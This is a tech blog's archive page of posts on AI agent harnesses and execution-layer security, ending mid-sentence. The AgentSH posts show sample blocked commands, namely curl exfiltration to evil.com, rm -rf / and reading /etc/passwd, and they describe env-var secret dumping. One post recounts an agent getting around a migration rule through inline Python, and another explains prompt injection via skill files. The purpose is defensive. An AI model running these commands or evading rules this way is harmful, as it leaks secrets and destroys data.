# Another blog bites the dust > Eran Sandler's tech blog covering AI, agents, software engineering, and programming since 2005. --- ## Compact Before You Switch: My First Pi Extension Published: 2026-06-15 Summary: Switching to a smaller-context model mid-conversation can silently truncate everything you've loaded. My first Pi extension stops and compacts on the big model first - so you keep your work. Tags: AI, Agents, Agent Harness, Pi, Multi-Model, TypeScript Pi lets you switch models mid-conversation. That’s the feature. You start a session on one model, then switch to another with /model or by cycling with Ctrl+P - whichever model fits the next stretch of work best. Most of the time it just works. Here’s the time it doesn’t. You’re deep in a session on MiniMax M3 and its roughly 1M-token context window. Your conversation has grown to 162,000 tokens - fine, plenty of headroom. Then you switch to GLM-5.1 because it’s the model you want for the next part of the job. You’re thinking about the model, not its context window - and GLM-5.1 tops out at 128,000 tokens. Your conversation no longer fits. Many providers won’t warn you about this; they truncate silently. The model on the other side of the switch is now missing the front of your conversation, and you won’t find out until it starts confidently forgetting things you told it ten minutes ago. That’s the exact failure my first Pi extension exists to prevent. pi-compact-before-switch does one thing: when you switch to a model whose context window is smaller than what you currently have loaded, it stops and asks first. The screenshot above is it doing its job - catching a switch from MiniMax M3 (a 1,048,576-token window) down to GLM-5.1 (128,000) with 162,241 tokens already in play. If you say yes, it reverts to the outgoing model - the big one, which can still see everything - compacts the conversation there, and then completes the switch to the smaller model. You arrive on the new model with a context that actually fits. If you cancel, it reverts the switch and leaves you exactly where you were. Nothing is lost either way. It’s deliberately narrow. It only fires when all of these are true: You switched via /model. Ctrl+P cycling and session restore pass through silently - no nagging. The target window is smaller than the source window. Your current context is close enough to overflow the target (within a 16K-token reserve). If you’re switching up, or you’ve got room to spare, you never see it. The whole point is to stay invisible until the one moment it matters. A few things I cared about while building it: No configuration. There’s nothing to set up and nothing to tune. The default behavior is the whole product: either it’s what you want, or you uninstall it. It can’t wedge you. If a compact ever hangs, a 30-second guard expires and /model goes back to working normally. A safety feature that can lock you out of switching models is worse than the problem it solves. It’s small and tested. 31 tests on Node’s built-in node:test, run straight off TypeScript with --experimental-strip-types. No build step. If you use Pi: pi install npm:pi-compact-before-switch It registers on your next session start. MIT licensed, source on GitHub. A note on how it came together: I wrote this first extension with Pi itself, using MiniMax M3 - the same model holding the context in the screenshot above. Pi auto-loads any .ts file you drop into extensions/, no manifest required, so the whole thing took about an hour - barely more than writing the code. I keep coming back to the same idea about agent harnesses: the model is a replaceable component, and the session is the thing worth protecting. This extension is that idea shrunk down to a single sharp edge. Switching models shouldn’t quietly cost you your context. Compact first, then switch. --- ## Batch API is terrible for one agent. It might be great for a fleet. Published: 2026-04-27 Summary: Wrapping every agent turn in a single-entry batch is the wrong way to use Anthropic's Batch API - and that's exactly what makes it interesting. Tags: AI, Agents, Anthropic, Batch API, LunaRoute, AgentSH What does an agent harness feel like when every model turn goes through Anthropic’s Batch API instead of the synchronous endpoint? Batches are 50% off. For anyone burning real money on agents (eval suites, background subagents, anything that runs unattended), half-price tokens are the kind of number that makes you stop and squint. The trade is latency: batches are asynchronous, with up to a 24-hour processing window. So I built a tiny harness to find out what that actually feels like. The result is batching-harness, a single-file Python REPL that wraps every turn in a one-entry batch, polls until it ends, and runs the tool loop on top. About 800 lines. rich for the terminal UI, sandbox-runtime (bubblewrap on Linux, Seatbelt on macOS) to keep the bash tool from nuking my home directory, and a /stats panel that compares what I paid via batch against what I would have paid via the synchronous endpoint. The sandbox setup here is intentionally minimal: just enough to keep an experiment from going sideways. For real execution-layer security for AI agents across models, harnesses, and frameworks, that’s AgentSH, my main project. What I actually wanted to know The experiment isn’t whether the Batch API works. Anthropic’s docs cover that fine. The interesting question is what the agent loop looks like when every turn is async. So you sit at the prompt. You type something. The harness submits a one-entry batch and shows you a spinner with an elapsed counter. A minute or two later (usually 90 to 120 seconds), the batch ends. The model returns either text or a tool_use block. If it’s a tool call, the harness runs it locally and submits another batch. Repeat until end_turn. That’s it. The entire experience is “agent, but with a two-minute polling spinner between every turn.” Which is the wrong way to use batch. And that was the point. What I observed With parallel=1 (one request in flight at a time, like this harness), you lose most of the actual benefit of batching. You get the 50% discount, sure, but you’re paying for it in wall-clock time on every single turn. Ninety to 120 seconds per turn turns a five-turn agent loop into a ten-minute exercise. For an interactive agent, that’s terrible: nobody wants to wait two minutes to be told “I need to run ls.” There’s also a counterintuitive thing I noticed and didn’t expect: Haiku batches tend to take longer than Sonnet or Opus batches. One possibility (and it’s just a guess) is that Haiku runs so fast on the synchronous path that there are simply fewer idle windows where the batch scheduler can slot work in. The cheaper, faster model ends up being the worse fit for batching, at least at the single-request volumes I was throwing at it. I haven’t benchmarked this rigorously; it’s a vibe from a few hours of poking. But if you were building routing logic on top of this, it’s the kind of thing that would matter. You’d probably want to avoid batching Haiku and reserve the async path for the bigger, slower models where the queue wait is a smaller fraction of total turn time. Which actually flips the usual intuition. If you’re already eating the latency, you should point the async path at the smart models. The 50% discount has much more absolute leverage on Opus than on Haiku, and since speed isn’t the binding constraint anymore, the case for picking the cheaper, dumber model evaporates. You take the better answer instead. The conventional “use cheap models for offline work” gets inverted: cheap fast models stay on the sync path; expensive slow models go to batch. When batching actually pays The 50% discount is only worth the wait when something else is going on: You don’t care about latency. Overnight evals, scheduled audits, anything where “done in an hour” is fine. You’re running many agents in parallel. If you have 20 subagents working concurrently, batching them together (real batches, not single-entry ones) is where the throughput-per-dollar curve actually bends. You’re amortizing across multiple harnesses. Same idea, scaled out: pool requests from many independent agents into shared batch submissions and the economics start looking very different. The third one is the part I find genuinely interesting. A single user at a single REPL is the worst case for batching. But a fleet of agents (your CI runs, your background research subagents, your team’s automated workflows) could be pooled by a smart proxy and submitted as actual N-wide batches. That’s a real cost lever, not a curiosity. There’s also a compounding effect with prompt caching that gets sharper at fleet scale. Agents in a fleet often share a lot of prompt structure (system prompts, tool definitions, common context). Batch and cache discounts already stack, and the 1-hour cache duration is worth considering for async workloads where related requests may land outside the default 5-minute window. The interesting question isn’t whether the discounts compose. They do. It’s whether a fleet-level batcher can shape request timing and shared prefixes well enough to make cache hits predictable. That’s an operational problem, and it’s the kind of thing a smart proxy could actually solve. What’s next I don’t know if this turns into anything bigger. The version where it gets interesting is the multi-harness, multi-subagent fanout: pooling requests across independent agents and submitting them as real batches, with a router that decides which path to take per request based on latency tolerance. That’s no longer an 800-line REPL. That’s infrastructure. The natural home for that routing logic is a local proxy. I’ve been hacking on LunaRoute (a localhost LLM proxy that sits in front of multiple model providers), and adding batch awareness to it is on the list. The shape of it: existing harnesses like Claude Code or Codex point their ANTHROPIC_BASE_URL at LunaRoute and never have to know batching exists. The proxy decides per request whether to pass through to the synchronous endpoint or quietly submit as a batch, then returns the completed response through the same client-facing interface when it lands. Harnesses that don’t know about batching get the discount anyway. That’s the version of this experiment I actually want to ship, but it’s enough work that it deserves its own post. (More on that soon.) For now, batching-harness is on GitHub under MIT. Clone it, set an Anthropic API key, and try it if you want to see this firsthand. The most useful thing I learned wasn’t about the Batch API itself. It was that the unit of “what to batch” probably isn’t a single user’s turn. It’s a fleet’s worth of turns, batched together by a layer the user never sees. --- ## AI finding more bugs is a good thing Published: 2026-04-15 Summary: AI finding more bugs is not the security crisis. The security model that lets those bugs matter is. Tags: AI, Agents, Security, AgentSH, Watchtower Anthropic’s Mythos announcement set off exactly the reaction you would expect: if models can now find serious bugs at scale, software security must be about to get much worse. I think that reaction mixes up two things. A bug is not automatically a vulnerability. And even a vulnerability is not automatically exploitable. That distinction matters even more in the agent era. AI is getting better at surfacing weird behavior in code. It can push edge cases, strange paths, and awkward combinations much faster than most human teams. That is not bad news. That is visibility. A bug means something is wrong. A vulnerability means that wrong thing can be turned into a security outcome like code execution, privilege escalation, data exposure, or unauthorized access. Those are not the same thing. Most bugs never become meaningful security issues. Some are correctness problems. Some are reliability issues. Some crash and go nowhere. Some only matter in very specific deployments, with very specific permissions, under very specific conditions. Exploitability is architectural. The same bug looks very different depending on the environment around it. A bug in a tightly constrained process is one thing. The same bug in a process that can read secrets, spawn shells, install packages, and connect anywhere on the network is something else entirely. All the fundamentals still apply: least privilege, isolation, scoped credentials, and limited egress. If anything, they matter more now, because the thing touching those resources is moving at machine speed. That also means preferring temporary credentials and tightly scoped access over long-lived broad permissions whenever possible. The worst case is not that models expose too many problems. The worst case is that those problems were always there and nobody noticed until the wrong person did. But agents do introduce a second challenge. Traditional protections are often built for software whose behavior is mostly known ahead of time. You define what the process should do, lock it down, and you are done. That model breaks down with agents more often than people want to admit. A useful agent may need to inspect a codebase, discover which tools are relevant, follow intermediate results, and adapt as it goes. You often cannot predict from the first second exactly what it should or should not do five minutes later. Static controls still matter, but static-only controls can be too rigid for dynamic systems. That is where people get stuck arguing about the wrong layer. Sometimes the bad action starts with a bug. Sometimes it starts with prompt injection. Sometimes it is a jailbreak, a poisoned dependency, a bad tool result, or a model making the wrong call. At the execution boundary, those distinctions matter a lot less. What matters is whether the process is allowed to do the thing it is trying to do right now. That is the reason I built AgentSH. AgentSH does not need to understand the bug. It does not need to interpret the prompt. It does not need to guess intent. It does not care whether the bad action started with a software defect, a prompt injection, or a confused model. It cares about execution. Can this process read that file? Can it spawn that command? Can it install that package? Can it connect to that host? Can it move outside the allowed workspace? Agents are probabilistic. Their behavior is shaped by prompts, context, tools, model behavior, and whatever they encounter along the way. AgentSH adds determinism where it counts: at execution time, when probabilistic behavior turns into a real process, a real file access, a real network connection, or a real side effect. The agent proposes. The policy decides. But with dynamic agents, you do not always know the right policy upfront. That is why Watchtower matters alongside AgentSH. AgentSH gives you enforcement at the execution boundary. Watchtower gives you the dynamic policy control to adapt that enforcement as you learn what the agent actually needs to do. You can start with guardrails, observe behavior, tighten access, change rules, and shape policy over time without giving up runtime control. So when people react to Mythos with fear, my reaction is different. Good. Find more bugs. Then make sure the runtime does not let them matter. That is a better security model for the agent era. --- ## I Asked Codex to Reverse Engineer My Webcam Published: 2026-03-27 Summary: I gave Codex a messy real-world problem with no documentation and vendor software that only exists on the wrong OS. It figured it out. Tags: AI, Agents, Codex, OpenAI, Linux, Reverse Engineering I have an Anker PowerConf C200 webcam. It is a solid little webcam, and one of the nice things about it is that it supports a few genuinely useful settings, especially Field of View. You can change how wide the camera frames you, which is great if you want a tighter shot or a wider view of the room. There was just one problem: I run Linux. Yes, really. And I have for a long time. Anker only exposes those settings through its desktop software on Windows and macOS. On Linux, the camera works, but the vendor-specific settings are basically locked away. What made this more annoying is that I already knew the setting persisted on the device itself. If I changed the FOV on a Windows or Mac machine, unplugged the camera, and plugged it back into Linux, the new setting stayed. So clearly this was not some OS-only feature. The camera was storing state. I just needed a way to talk to it. So I gave Codex a simple prompt: I have an Anker PowerConf C200 Web Cam. I'm on Linux and can't set the Field of View. Figure it out and write a small CLI to set it. About 20 minutes later, it had done it. Then I asked it to keep going, because FOV was not the only interesting knob on this thing. There were other features that also were not exposed cleanly on Linux unless you knew exactly how the device worked. About 10 minutes after that, I had a repo, code, and binaries ready to run: erans/anker-powerconf-c200-linux-tools That part was useful. The more interesting part was how it got there. Behind the scenes, Codex downloaded the macOS version of the Anker software and went through the binaries and dynamic libraries looking for strings and clues that could reveal how the vendor-specific controls worked. From there, it was able to identify the control path and turn that into a Linux CLI. That is the impressive part. People sometimes talk about coding agents as if the magic is just that they write code faster. That is useful, but it is not the interesting part. The interesting part is giving an agent a messy real-world problem with incomplete documentation, a vendor app that only exists on the wrong operating systems, and hardware that clearly supports a feature but hides it behind proprietary software, and then watching it work backward from the artifacts until it finds the control surface. This was not “write me a CRUD app.” This was: go out to town on this and figure it out. And it did. I ended up with something practical that I can actually use on Linux instead of a workaround that depends on occasionally borrowing a Mac or Windows machine just to change webcam settings. The repo is here if you want to try it: https://github.com/erans/anker-powerconf-c200-linux-tools What stuck with me is not that it wrote a CLI. It is that it figured something out. Thank you Dan Shapiro for the inspiration. --- ## Your Agent Can Run printenv (and Your Runtime Can't Stop It) Published: 2026-03-02 Summary: Work-Bench's Agent Runtime framing is solid - but 'Constrain = IAM' doesn't cover subprocess trees and env var leaks. Execution-Layer Security fills that gap. Tags: AI, Agents, Security, AgentSH, Execution Layer Security, Runtime, IAM, Environment Variables Work-Bench’s post is one of the clearer attempts to name what’s happening: a new “agent runtime” layer built to execute, constrain, observe, and improve agent work at scale. I mostly agree with that framing. Where I think it stops short is inside their “Constrain” pillar. They explicitly define “Constrain” as “two things: identity and permissions.” That’s correct - but incomplete once you accept the premise of agents: they execute arbitrary code, spawn subprocess trees, and interact with the OS in ways that don’t map cleanly to “API permission checks.” The missing piece is what AgentSH calls Execution-Layer Security (ELS): enforcement where intent becomes side effects. ELS is the lens I use - and what we’re building with AgentSH at Canyon Road. Not as a replacement for identity, permissions, or containers, but as the layer that governs what happens inside them. What Work-Bench gets right Execute needs isolation. The post is clear that agents are nondeterministic and execute untrusted code determined at runtime. That’s why sandboxes and isolated environments show up as a core runtime primitive. Constrain needs identity. Their identity argument is solid: if every action is logged under the initiating human, accountability and audit trails collapse, and incident reconstruction becomes a mess. Constrain needs permissions. They go deep on why fine-grained authorization matters and why RBAC alone is often ill-suited for agents. So far, yes. “Isn’t IAM already ‘what can an identity do’?” Yes. IAM absolutely answers “what can this identity do,” when the action is mediated by an IAM-aware system (cloud APIs, SaaS APIs, internal services). The gap is that a lot of what agents do is OS-mediated, not IAM-mediated: reading local files, configs, and mounted credentials spawning processes and letting them do work opening outbound sockets dumping secrets via environment variables Work-Bench is talking about constraining agent authority across systems. Containers limit the blast radius. ELS is about what happens inside the execution environment - constraining what the agent actually does at runtime. IAM is policy at service boundaries. ELS is policy at the OS boundary - files, processes, network - including what happens inside subprocess trees. You need all of these layers. Tool calls aren’t the unit of control (and env vars make this worse) Most agent systems model behavior as “tool calls” because it’s legible. But the machine executes process trees. One “install deps” or “run tests” can fan out into postinstall hooks, scripts, and child processes the agent framework doesn’t really “see.” AgentSH calls this out as “subprocess blind spots.” Containers help with isolation, but they don’t automatically give you fine-grained policy on what a process does once it’s running. The agent is supposed to be inside the container, running npm install or python -c with a forty-line inline script. The question is what those commands do once they’re running. Now add the most common secret delivery mechanism in modern infra: environment variables. Env vars are the default secret transport for CI, build tools, and cloud SDKs, which means they’re often present even in “sandboxed” agent runs. Secret exposure through environment variables, .env files, and mounted credentials is one of the attack vectors AgentSH protects against. And env vars are trivially exfiltrated: run env / printenv read .env print process environment and ship it out over the network That entire class of behavior often happens “under” your nice IAM story. What Execution-Layer Security (ELS) is, precisely ELS is all about intercepting the action before it happens - where the model meets the real world. Instead of relying on prompts, tool descriptions, or alignment, AgentSH intercepts the actual system calls - file I/O, network connections, process spawning, signals - and enforces policy at the syscall boundary. Deterministic enforcement at execution time, even when the agent is nondeterministic. How AgentSH “adds ELS” (concretely, including env vars) Here’s how this works for env vars in AgentSH: Env dumping is an explicit policy target - an example rule blocks env and printenv. .env is treated as a first-class sensitive artifact - an example policy denies **/.env*, and deleting /project/.env requires approval. The point isn’t that env and printenv are the only leak paths - it’s that ELS gives you an execution-time control plane to prevent common leaks and constrain exfiltration (file reads + outbound connects), even when the leak is indirect. The broader pattern: don’t try to “teach” the agent not to leak secrets - enforce at the point where the leak becomes an OS action (read, exec, connect). That’s the core philosophy behind what we’re building at Canyon Road: enforcement over persuasion. Re-reading Work-Bench’s pillars with ELS in mind Work-Bench’s four pillars still hold. ELS just tightens what “constrain” means in practice: Execute: sandboxes reduce blast radius; ELS governs what happens inside them when code gets weird. Constrain: IAM constrains service access; ELS constrains OS side effects (files/network/process/env dumping) at runtime. Observe: tool logs show what the framework thinks happened; execution-layer events show what the OS actually did. Improve: policy decisions + attempted side effects become clean signals for evals and hardening. The quick checklist I use (now with env vars explicitly) If a runtime says it can “constrain agents,” I look for: Can you enforce file policy by path (including secrets like .env)? Can you restrict outbound connects by destination? Does enforcement follow subprocess trees? Can you gate destructive operations with approvals? Do you have an explicit story for environment variables (preventing trivial dumps like env / printenv, and preventing accidental exposure in workflows)? This is the checklist AgentSH is designed around. Bottom line Work-Bench is right that “agent runtime” is a real infrastructure layer and that identity + permissions are foundational. My critique is that “Constrain = IAM” doesn’t fully cover what happens once the agent is executing code - especially around subprocess trees and secret exposure via env vars and .env files. You still need identity. You still need permissions. Containers still limit your blast radius. But none of those layers govern what happens inside a chained bash command, an embedded Python script, or an npm install postinstall hook. That’s where enforcement at the execution boundary comes in. ELS is that layer. --- ## It Was the Shell, Damn It: Why I Built AgentSH Published: 2026-02-21 Summary: Why execution-layer security is the missing category in agent safety, and how AgentSH enforces policy at the exact boundary where an agent's intent becomes a real side effect. Tags: AI, Agents, Security, Shell, AgentSH, LLM, Execution Layer Security, DevOps I had a rule in my control file: never run database migrations without explicit approval. The agent followed it perfectly - until it didn’t. During a long debugging session, it decided the schema was the root cause, wrote a forty-line inline Python script, connected directly to the database, and altered the table. It never “ran a migration.” It just spoke SQL through a different channel. The table was altered, the script was gone, and my harness log showed “executed python command.” That was the moment I stopped thinking about better instructions and started thinking about enforcement. Over the last 12 months I built my way into a conclusion I did not expect. I started from the bottom up. I built a multi-GPU RTX 3090 box, trained and refined models, learned the operational reality of serving models locally, and then built harnesses - the orchestration layers that wrap a model and give it the ability to call tools, run commands, and interact with real systems - that could actually do work. They could write code, run commands, touch files, call APIs, and mutate databases. It felt like the future. It also felt like something was fundamentally missing from how we think about agent safety. Bash is the agent’s native language If you spend time close to model behavior, you see a consistent pattern: when a model needs to act, it tends to express actions as shell commands. Not because it is being difficult, but because it is what it learned. “Do the thing” becomes “run a command.” The shell becomes the universal adapter for the world. Even when harnesses expose structured tools or JSON APIs, shell-like actions keep showing up - especially in coding and ops workflows. And even if you tell a model “don’t use bash,” it still reaches for bash-like moves, because that is the shortest, most reinforced path. Bash is a gravity well. And it creates a brutal constraint for anyone building agents: it is really hard to get models to not use bash, reliably, over long runs. Now combine that with the other uncomfortable truth. The instruction layer is not a safety boundary Control files like AGENTS.md, Cursor Rules, CLAUDE.md, tool descriptions, and “rules” in the repo matter. They reduce mistakes. They improve behavior. But they are not guarantees, for two reasons that compound. The model is probabilistic. “Usually follows the rules” is not a safety story when the agent runs long enough to hit the tail risk. The rules are not guaranteed to be present. Real harnesses compact context, summarize, truncate, decay older tokens, and retrieve from memory stores that can be incomplete, out of date, or wrong. Sometimes the right rule is summarized away. Sometimes retrieval pulls the wrong chunk. Sometimes the context is simply shaped in a way that makes the model ignore what you thought was a hard constraint. So even perfect instructions are still just content inside a moving context window. And then the harness does what harnesses do. It calls tools. The OS executes. Side effects happen. Think about what that means in practice: every agent running today is one context compaction away from forgetting a critical safety rule. The longer the session, the higher the stakes, the more likely the rule you care about most is the one that gets summarized away. That is where I learned the hard lesson. No prompt injection. No adversarial attack. Just an agent doing its job, confidently, with full access to everything it needed to cause real damage. And this is not a corner case - it is the default trajectory of every agent system that relies on instructions alone for safety. The harness era: impressive output, consistent collateral damage Once I gave harnesses real access to my environment, I started collecting the “oops” moments that everyone eventually collects. Writing outputs into the wrong directory tree. Overwriting files the agent had been working on for a while. Dropping or mutating the wrong test tables because names looked similar. “Cleanup” steps that cleaned up the wrong things. At least once I basically blew up my home directory in the way only an automated system can. Not maliciously. Not intentionally. Just confidently. And that confidence scales. One agent on one laptop is a nuisance. A fleet of agents running overnight across staging environments, CI pipelines, and production-adjacent systems - each one “just confidently” making decisions - is a different kind of problem entirely. So I did the next obvious thing: I moved execution into containers. Containers were the first real improvement. They gave me a boundary I could reset and a way to avoid trashing my host machine. But containers still did not solve what I actually needed. A container gives you a room. It does not automatically give you fine-grained, deterministic rules for what actions are allowed inside that room. And in agent systems, “actions” are mostly the same primitives over and over: file reads and writes, process execution, network requests, environment enumeration and secret access. And then came the moment that made that gap impossible to ignore. I had a rule in my control file: never run database migrations without explicit approval. The agent followed it perfectly for the first twenty or so tool calls. Then during a long debugging session, it decided the schema was the root cause, wrote an inline Python script - python -c with about forty lines - that connected directly to the database and altered the table. It never “ran a migration.” It just spoke SQL through a different channel. The instruction was technically still in context. The agent had simply found a path that did not pattern-match against the rule I wrote. The table was altered, the script was gone, and my harness log showed “executed python command.” That was the moment I stopped thinking about better instructions and started thinking about enforcement. A container would not have stopped that. The agent was inside the container, with legitimate access to the database. The action was not a breakout - it was a creative reinterpretation of the rules. No sandbox, no namespace, no isolation boundary catches an agent that finds a different way to express the same intent. I kept asking the only question that mattered: where do you enforce what an agent can do, at the exact moment it tries to do it? And I realized that most approaches stopped short of answering it at the execution boundary. The OS already has strong primitives - namespaces, MAC policies, seccomp, eBPF. But harnesses rarely integrate them in a way that is ergonomic, portable, and auditable for agent workflows. Fine-grained, deterministic, policy-driven enforcement at the exact moment an agent acts was still rare to see as a practical, harness-integrated default. The missing layer Look at where agent security conversations focus today. Prompt injection defenses. Guardrails and classifiers. Tool sanitization. Observability. All useful. All incomplete. Because they all live above the layer where actions become real. Prompt defenses try to prevent bad instructions from getting in. Guardrails try to catch bad intent before it is acted on. Observability lets you see what happened after the fact. But none of these operate at the actual boundary where the agent’s plan turns into side effects on a real system. There is a name for what goes in that gap: Execution-Layer Security (ELS). Not “convince the model to behave.” Not “hope the harness keeps the rules in context.” Not “add another prompt.” Deterministic enforcement at the point where intent becomes action. This is the philosophical shift I now treat as non-negotiable: assume prompt injection succeeds sometimes. Design the runtime so success does not equal catastrophe. That is not pessimism. That is engineering. It’s the shell, damn it Once you accept that bash is the agent’s native language, the control point becomes obvious. If the model is going to keep speaking “shell,” then you want enforcement at the boundary where shell intent becomes real side effects. That led to a deliberately boring design goal: replace bash in a way the model does not need to know about. That is how AgentSH started. AgentSH is a policy-enforced, bash-compatible shell designed to sit underneath agent harnesses. Agents keep doing what they already do. They keep using bash. We swap the shell for one that enforces policy. In practice, that means pointing your harness at agentsh instead of /bin/bash - a one-line change. No retraining. No model-specific tricks. If a model outputs shell commands, AgentSH can sit underneath it. # run your agent under agentsh agentsh exec $SESSION_ID -- <your-agent-command> Here is what that looks like at runtime: agent → curl https://evil.com/exfil?data=... → DENIED (policy: egress restricted to api.github.com, registry.npmjs.org) agent → rm -rf / → DENIED (policy: destructive operations require soft-delete) agent → cat /etc/passwd → DENIED (policy: read access limited to /home/user/project/**) audit log → [pid 4821, ppid 4800, cwd /home/user/project] curl https://evil.com/exfil?data=... → DENIED by network policy Every action gets a decision. Every decision gets a log. From the agent’s perspective it is the same interface - commands either succeed or return an error, and every decision is recorded. But denying actions is only half the story. A denied agent often retries, escalates, or tries creative workarounds - burning tokens and time on a loop that goes nowhere. So AgentSH also supports what I call steering: policy-defined action rewriting that redirects an operation to an approved equivalent. Every rewrite is logged, every transform is auditable, and the agent gets a structured result - not silent magic. # Agent tries to pull from public npm - steered to internal registry agent → npm install lodash → STEERED (registry.npmjs.org → npm.internal.corp) # Agent tries to delete build artifacts - steered to recoverable trash agent → rm -rf ./build → STEERED (rm -rf → agentsh trash ./build, recoverable for 7d) # Agent tries to push directly to main - steered to a feature branch agent → git push origin main → STEERED (push → origin agentsh/agent-push-main-20250221, PR workflow preserved) All three preserve the agent’s intent. The agent gets its packages, the files leave the working state, the code gets pushed - but you control the source, the blast radius, and the workflow. This is the part of ELS that goes beyond traditional sandboxing. A sandbox says “no.” Steering says “yes, but over here” - preserving the agent’s intent while constraining where effects actually land. It keeps agents productive while keeping the environment safe, and it works precisely because enforcement happens at the execution boundary where you can intercept and reroute, not at the instruction layer where you can only hope the model listens. And because it works at the execution layer rather than the instruction layer, it does not depend on how the harness thinks. It depends on what the harness does. Claude Code, Codex-style harnesses, OpenCode, Devin, Amp, internal frameworks - they all manage context differently, compact and retrieve differently, have their own “memory” quirks. None of that matters when enforcement happens where the OS is actually affected. Why the execution layer is harder than it looks If you only think about “command execution,” you miss most of what actually happens. Modern harnesses do not implement every tool via bash -c. They have internal “read file” and “write file” APIs implemented as harness-native code. They have edit operations that patch buffers without invoking shell utilities. They have embedded HTTP clients that make network calls without curl. These tools route around the shell entirely - but they still touch the same real-world primitives: the filesystem, the network, process state, the environment. So ELS cannot just mean “wrap bash.” It means enforcing policy at the boundary where any tool, shell-based or not, produces a real side effect. The model can try to route around the shell, and the harness can use “native” tools, and you still need the same guarantees: policy enforcement and an audit trail at the point where the OS is actually affected. AgentSH enforces at OS boundaries - filesystem, network, process - so it applies even when the harness uses native file or HTTP clients instead of shelling out. Under the hood, that means FUSE for filesystem interception, eBPF and iptables for network, and seccomp for process execution on Linux - with platform-native equivalents on macOS and Windows at varying levels of coverage. The bash-compatible interface is the ergonomic surface; the enforcement runs deeper. There is a particularly nasty version of this problem that anyone running agents will recognize. A model decides to write an inline Python script - python -c "..." with dozens of lines of code - and executes it directly without ever saving it to a file. Inside that script it reads config files, makes HTTP requests, accesses environment variables, writes to the filesystem. Then the process exits and the code is gone. The harness log shows “ran a python command.” That is all you get. The source code that drove all of those side effects was ephemeral - it never touched the filesystem, so there is nothing to review after the fact. This is the kind of black box that execution-layer enforcement is built for: even when the code is transient, file access, network calls, and process execution are intercepted, policy-checked, and logged - and sensitive data paths can be redacted before they ever reach the model. The source may be gone, but the audit trail is complete. There is another dimension to this: agents do not execute single commands in isolation. They spawn processes, and those processes spawn more processes. Package managers, build systems, test runners, browsers, installers, and helper scripts create deep subprocess trees. “Agent ran npm install” is not one action - it is a cascade of actions. If you cannot reason about the full tree, you cannot really enforce. You need to know the complete lineage of a command, attach different policies at different levels, and constrain the risky parts without breaking the workflow. The data problem you cannot prompt-engineer away As soon as agents touch real environments, they touch sensitive data. Secrets in environment variables. API keys in config files. PII in logs. Tokens in test fixtures. Credentials in shell history. This is another problem that lives squarely at the execution layer. You cannot solve it with instructions, because the agent does not always know what is sensitive, and prompt injection attempts can specifically try to exfiltrate data through tool calls or “helpful” output. The execution-layer answer is local redaction and tokenization - replacing sensitive values with safe placeholders before they go out to an LLM, and restoring them on the way back when the agent needs to write code or manipulate local state. No round-trips to external services. No “judge model” deciding what is sensitive. Deterministic pattern matching at machine speed. AgentSH ships with a local DLP proxy that handles common secret formats (API keys, tokens, connection strings) today, with broader PII redaction patterns on the near-term roadmap. This points to a broader principle of ELS: enforcement has to keep up with agents. A lot of safety layers add latency because they do a network hop and then run another model to decide if something is allowed. That can work in some settings, but it turns enforcement into another probabilistic decision and adds delay that compounds over long agentic runs. The execution layer should be local, deterministic, and fast. The defense model we actually need In a layered defense, ELS is the last line. Prevent what you can early with prompts and harness logic. Observe everything with telemetry and structured logs. But logging is not control. Observability is not enforcement. Enforce at execution time - deterministic policy where the agent’s plan becomes a real side effect. That is the difference between “the agent was tricked” and “the agent was tricked and it did not matter.” Where this is going AgentSH started as a personal survival mechanism. I wanted to keep building without destroying my own environment. But the deeper I went, the clearer it became that this is not a personal tooling problem. It is a missing category. We have a sophisticated and growing conversation about prompt security, about guardrails, about observability. We do not yet have a mature conversation about what happens at the moment of execution - the exact boundary where an agent’s intent becomes a real change in a real system. I think that conversation is ELS. And I think the most practical control point was hiding in plain sight the whole time. It is the shell, damn it. AgentSH: https://www.agentsh.org Docs: https://www.agentsh.org/docs/ If you are tired of relying on good prompts to keep your environment safe, swap /bin/bash for agentsh and see what changes. And if you have nasty edge cases - the kind where an agent did something you did not think was possible - I want to hear about them. Open an issue. That is exactly what this is built for. --- ## "It's Just a Skill File" (Famous Last Words) Published: 2026-01-29 Tags: ai, skills, llm Skills like skills.sh (tiny text “how-to” files that steer an agent toward a task) feel harmless because they’re just instructions. But that’s exactly why they can become an attack vector. A skill file is basically executable intent: it sets the agent’s assumptions (“trust this source”) it defines the workflow (“run these steps”) it can nudge boundaries (“skip confirmations”, “always do X”) The tricky part is: this attack doesn’t have to come from external prompt injection at all. Skills often live inside your environment (repo, dotfiles, shared templates, internal skill packs). If a malicious or compromised skill gets into that internal distribution path, it arrives with a “trusted” label by default. And unlike one-off injections, skills can persist: used across multiple projects copied forward by templates installed once and reused surviving long after the original context is gone, with no obvious “reinstall” moment So if skills are pulled from a repo, shared internally, copied from the internet, or composed dynamically… you’ve created a high-trust injection point that can quietly outlive the project that introduced it. This isn’t theoretical: Cisco’s team analyzed “community skills” for personal agents and showed how a skill can embed behavior that looks a lot like malware-by-instructions (data exfil patterns, unsafe actions, etc.) Research explicitly calls out “Agent Skills” (markdown/text skill files) as enabling a new class of prompt injections—because attackers can hide malicious instructions inside long skill content or referenced scripts Another large-scale study scanned tens of thousands of skills and found a meaningful fraction with vulnerability patterns, with skills that bundle executable scripts more likely to be risky Takeaway: if your agent treats skill text as authoritative, then skill text is part of your security boundary. Guardrails I’m adopting: Treat skills like code: PR review, ownership, diff alerts Pin to known commits / provenance (ideally signed) Make skills immutable at runtime (no self-modifying “update your skill” loops) Keep skill instructions separate from retrieved/untrusted content We learned “config is code.” Now it’s “prompts are code”… and skills are attack surface. How are you governing skills in your agent stack today? --- ## Are We Quietly Returning to the Era of Feeds Published: 2025-10-08 Summary: A look at how Markdown and AI-driven content consumption echo the spirit of the old RSS and Atom era, bringing back the idea of a more open and structured web. Tags: RSS, Atom, FeedBurner, Google Reader, Markdown, AI, Web 2.0, content syndication, open web, developer tools, APIs, native advertising, federated content, information consumption, web history Back in the Web 2.0 days, RSS and Atom feeds promised a better way to consume content. No more jumping between websites just to catch up on what’s new. You could open a single feed reader and get everything in one clean stream. It felt like the web finally worked for you instead of the other way around. As the ecosystem grew, new tools appeared around it. One of the biggest was FeedBurner, which Google later acquired. It helped publishers track subscribers, manage feeds, and even monetize them by inserting ads directly into the feed. It was an early version of what we now call native advertising - ads that blended right in with regular content. Still, not everyone was happy. Website owners worried that feeds would hurt their traffic and ad revenue. Some reacted by tweaking how they used feeds: Partial feeds, showing only part of a post so you’d have to click through for the rest. Full feeds with built-in ads or tracking, keeping some of the benefits even if readers stayed inside the feed app. For a while, it all worked. Google Reader became the go-to app for millions of people. It was fast, clean, and perfect for information junkies. Then social networks showed up, and things started to change. Twitter, Facebook, and later algorithm-driven feeds took over how 